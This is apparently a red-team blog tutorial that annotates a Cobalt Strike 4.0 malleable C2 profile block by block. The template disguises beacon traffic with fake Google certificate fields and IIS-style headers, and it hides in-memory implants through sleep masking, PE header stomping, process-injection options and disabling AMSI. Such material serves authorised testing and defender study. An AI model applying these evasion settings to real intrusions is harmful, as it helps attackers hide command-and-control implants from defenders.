Posted Oct 23, 2020 2020-10-23T11:25:00-04:00 by bigb0ss
Updated Apr 20 2021-04-20T14:35:37-04:00
Intro
We are now in the Cobalt Strike 4.0+ era. As Cobalt Strike is getting more popular choice for the Command and Control (“C2”) server nowadays, customizing your malleable C2 profile is imperative to disguise your beacon traffics as well as communication indicators. Additionally, it can also help dictate in-memory characteristics and beacon process injection behaviors.
The full profile creation guide can be found here CS4.0_guideline.profile. It contains more details/instructions to craft the Malleable C2 profiles.
Global Option Block
1
2
3
4
5
6
7
8
9
| set sample_name "bigb0ss.profile"; # Profile name (used in the Indicators of Compromise report)
set sleeptime "30000"; # Sleep time for the beacon callback (in milliseconds)
set jitter "50"; # Jitter to set %. In this example, the beacon will callback between 15 and 30 sec jitter
set host_stage "[true|false]"; # Staged payload allow or disallow (Note: Stager payloads are generally easier to get caught, but it's necessary for the space-restricted situations)
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/18.177"; # User-Agent Setup
|
DNS Beacon Block
1
2
3
4
5
6
7
8
9
10
11
12
13
| set dns_idel "8.8.8.8"; # IP to indicate no tasks available. Avoid using bogon address "0.0.0.0" (This can be picked up as IOC)
set maxdns "[0-255]"; # Maximum length of hostname when uploading data over DNS (0-255)
set dns_sleep "1000"; # Force a sleep prior to each individual DNS request. (in milliseconds)
set dns_stager_prepend ""; # Prepend text to payload stage delivered to DNS TXT record stager
set dns_stager_subhost ".stage.8546."; # Subdomain used by DNS TXT record stager
set dns_max_txt "[0-255]"; # Maximum length of DNS TXT responses for tasks
set dns_ttl "1"; # TTL for DNS replies
|
SMB Beacon Block
1
2
3
| set pipename "win_svc+8546"; # Name of pipe to use for SMB beacon's peer-to-peer communication
set pipename_stager "win_svc+8546"; # Name of pipe to use for SMB beacon's named pipe stager
|
TCP Beacon Block
1
| set tcp_port "1337"; # TCP beacon listen port
|
SSL/Code Certificate Block
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| ### Self-Signed Certificate HTTPS Beacon Block
https-certificate {
set C "US"; # Country
set CN "google.com"; # Common Name
set L "Mountain View"; # Locality
set O "Alphabet Inc."; # Organization Name
set OU "Google Certificate"; # Organizational Unit Name
set ST "CA"; # State
set validity "365"; }
### Valid SSL Certificate HTTPS Beacon Block
https-certificate {
set keystore "domain.store";
# Private key, root cert, intermediate cert and domain cert -
# Java Keystore file should be in the same folder with Malleable C2 profile
set password "<mypassword>"; }
# The password to your Java Keystore
### Code Signing Certificate Block
code-signer {
set keystore "keystore.jks";
set password "<mypassword>";
set alias "server"; }
|
HTTP/S Block
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
| ### HTTP/S Global Response Header Block
http-config {
set headers "Server, Content-Type, Cache-Control, Connection, X-Powered-By";
header "Server" "Microsoft-IIS/8.5";
header "Content-Type" "text/html;charset=UTF-8";
header "Cache-Control" "max-age=1";
header "Connection" "keep-alive";
header "X-Powered-By" "ASP.NET";
set trust_x_forwarded_for "[true|false]"; } # "true" if the team server is behind an HTTP redirector
### HTTP-GET Block
http-get {
set uri "/image/xxxxxx"; # For multiple URIs = "/image /index /sexy"
set verb "[GET|POST]" # Not really need to config this for http-get, but you can change it to POST if you want
client {
header "Host" "domain.com";
header "Accept" "*/*";
header "Accept-Language" "en-US";
header "Connection" "close"; }
### Data Transform Language
metadata {
base64; # Base64 Encode
base64url; # URL-safe Base64 Encode
mask; # XOR mask w/ random key
netbios; # NetBIOS Encode 'a'
netbiosu; # NetBIOS Encode 'A'
prepend "user="; # Prepend "string"
append ".asp"; # Append "string"
### Termination Statements
parameter "key"; # Store data in a URI parameter
header "Cookie"; # Store data in an HTTP header
uri-append; # Append to URI
print; } # Send data as transaction body (set "verb" to POST to use "print")
server {
header "Server" "Apache"; # headers will be pulled from the http-config block, or manually add your preferences below:
output {
base64; # Base64 Encode
base64url; # URL-safe Base64 Encode
mask; # XOR mask w/ random key
netbios; # NetBIOS Encode 'a'
netbiosu; # NetBIOS Encode 'A'
prepend "user="; # Prepend "string"
append ".asp"; # Append "string"
print; } } } # Server block MUST be terminated with "print"
### HTTP-POST Block
http-post {
set uri "/image/xxxxxx"; # For multiple URIs = "/image /index /sexy"
set verb "[GET|POST]"; # Use "GET" for GET Only C2
client {
header "Host" "domain.com";
header "Accept" "*/*";
header "Accept-Language" "en-US";
header "Connection" "close";
id {
base64; # Base64 Encode
base64url; # URL-safe Base64 Encode
mask; # XOR mask w/ random key
netbios; # NetBIOS Encode 'a'
netbiosu; # NetBIOS Encode 'A'
prepend "user="; # Prepend "string"
append ".asp"; # Append "string"
parameter "id"; # Add Beacon ID in parameter
header "ID-Header"; } # Add Beacon ID in header
output {
base64; # Base64 Encode
base64url; # URL-safe Base64 Encode
mask; # XOR mask w/ random key
netbios; # NetBIOS Encode 'a'
netbiosu; # NetBIOS Encode 'A'
prepend "user="; # Prepend "string"
append "asp"; # Append "string"
parameter "key"; # Store data in a URI parameter
header "Cookie"; # Store data in an HTTP header
uri-append; } } # Append to URI
server {
header "Server" "Apache"; # headers will be pulled from the http-config block, or manually add your preferences below:
output {
base64; # Base64 Encode
base64url; # URL-safe Base64 Encode
mask; # XOR mask w/ random key
netbios; # NetBIOS Encode 'a'
netbiosu; # NetBIOS Encode 'A'
prepend "user="; # Prepend "string"
append ".asp"; # Append "string"
print; } } } # Server block MUST be terminated with "print"
### HTTP-Stager Block
http-stager {
set uri_x86 "/get32.gif"; # Set to download 32-bit payload stage
set uri_x64 "/get64.gif"; # Set to download 64-bit payload stage
client { # Clinet = Defining the client side of the HTTP transaction.
header "Host" "domain.com";
header "Accept" "*/*";
header "Accept-Language" "en-US";
header "Connection" "close";
header "Cookie" "XXXXXX"
parameter "id" "8645"; }
server { # headers will be pulled from the http-config block, or manually add your preferences below:
header "Server" "Apache";
output {
base64; # Base64 Encode
base64url; # URL-safe Base64 Encode
mask; # XOR mask w/ random key
netbios; # NetBIOS Encode 'a'
netbiosu; # NetBIOS Encode 'A'
prepend "user="; # Prepend "string"
append ".asp"; # Append "string"
print; } } } # Server block MUST be terminated with "print"
|
Malleable PE & In-Memory Evasion and Obfuscation Block
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
| stage {
set checksum "0"; # The CheckSum value in Beacon's PE header
set cleanup "[true|false]"; # If "true," free memory associated with the Reflective DLL package when it's no longer needed
set compile_time "02 April 2020 02:35:00"; # The build time in Beacon's PE header
set entry_point "92145"; # The EntryPoint value in Beacon's PE header
set image_size_x86 "512000"; # SizeOfImage value in x86 Beacon's PE header ([!] Avoid using image_size_x86 if module_x86 in use)
set image_size_x64 "512000"; # SizeOfImage value in x64 Beacon's PE header ([!] Avoid using image_size_x64 if module_x64 in use)
set module_x86 "legit.dll"; # Ask the x86 ReflectiveLoader to load the specified library and overwrite its space instead of allocating memory with VirtualAlloc
set module_x64 "legit.dll"; # Ask the x64 ReflectiveLoader to load the specified library and overwrite its space instead of allocating memory with VirtualAlloc
set name "legit.dll"; # The Exported name of the Beacon DLL
set rich_header "\x00\x00\x00\x00"; # Meta-information inserted by the compiler. The Rich header is a PE section that serves as a fingerprint of a Windows’ executable build environment
set sleep_mask "[true|false]"; # Obfuscate Beacon, in-memory, prior to sleeping
set stomppe "[true|false]"; # Ask ReflectiveLoader to stomp MZ, PE, and e_lfanew values after it loads Beacon payload
set obfuscate "[true|false]"; # Obfuscate the Reflective DLL's import table (can be IOC), overwrite unused header content, and ask ReflectiveLoader to copy Beacon to new memory without its DLL headers
set userwx "[true|false]"; # Ask ReflectiveLoader to use or avoid RWX permissions for Beacon DLL in memory (can be IOC)
transform-x86 {
prepend "\x90\x90\x90"; # Inserts a string before Beacon's Reflective DLL --> Defeat analysis on the first few bytes of a memory segment of an injected DLL
append "\x90\x90\x90"; # Adds a string after the Beacon Reflective DLL
strrep "ReflectiveLoader" ""; } # Replaces a string within Beacon's Reflective DLL --> Defeat analysis on tool-specific strings
transform-x64 {
prepend "\x90\x90\x90";
append "\x90\x90\x90";
strrep "ReflectiveLoader" ""; }
data "<whatever string>"; # Adds a string as-is (ex) "bigb0ss")
string "<whatever string>"; # Adds a null-terminated string (ex) {'b','i','g','b','0','s','s','\0'})
stringw "<whatever string>"; } # Adds a wide (UTF-16LE encoded) string (ex) 0062 0069 0067 0062 0030 0073 0073)
|
Process Injection Block
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
| process-inject {
set allocator "[VirtualAllocEx|NtMapViewOfSection]"; # The preferred method to allocate memory in the remote process.
set min_alloc "4096"; # Minimum amount of memory to request for injected content
set startrwx "[true|false]"; # Use RWX as initial permissions for injected content. Alternative is RW.
set userwx "[true|false]"; # Use RWX as final permissions for injected content. Alternative is RX.
transform-x86 {
prepend "\x90\x90\x90";
append "\x90\x90\x90"; }
transform-x64 {
prepend "\x90\x90\x90";
append "\x90\x90\x90"; }
execute {
CreateThread "ntdll.dll!RtlUserThreadStart+0x1000"; # Current process only ([!] Sysmon EventID 8 - a process creates a thread in another process)
CreateRemoteThread "kernel32.dll!LoadLibraryA+0x1000"; # No cross-session ([!] Sysmon EventID 8 - a process creates a thread in another process)
NtQueueApcThread; # Uses RWX shellcode and "CreateThread" start address. Same-arch injection only
NtQueueApcThread-s; # "Early Bird" injection technique. Suspended process only
RtlCreateUserThread; # Risky on XP-era targets. Uses RWX shellcode for x86 -> x64 injection. ([!] Sysmon EventID 8 - a process creates a thread in another process)
SetThreadContext; } } # Suspended process only
|
Post-Exploitation Block
1
2
3
4
5
6
7
8
| post-ex {
set spawnto_x86 "%windir%\\syswow64\\<mfpmp>.exe";
set spawnto_x64 "%windir%\\sysnative\\<mfpmp>.exe";
set obfuscate "[true|false]"; # Obfuscate the permissions and content of our post-ex DLLs
set smartinject "[true|false]"; # Directs Beacon to embed key function pointers (ex) GetProcAddress, LoadLibrary) into its same-arch post-ex DLLs
set amsi_disable "[true|false]"; } # Disable AMSI (Antimalware Scan Interface) in powerpick, execute-assembly and psinject before loading .NET or PS code
|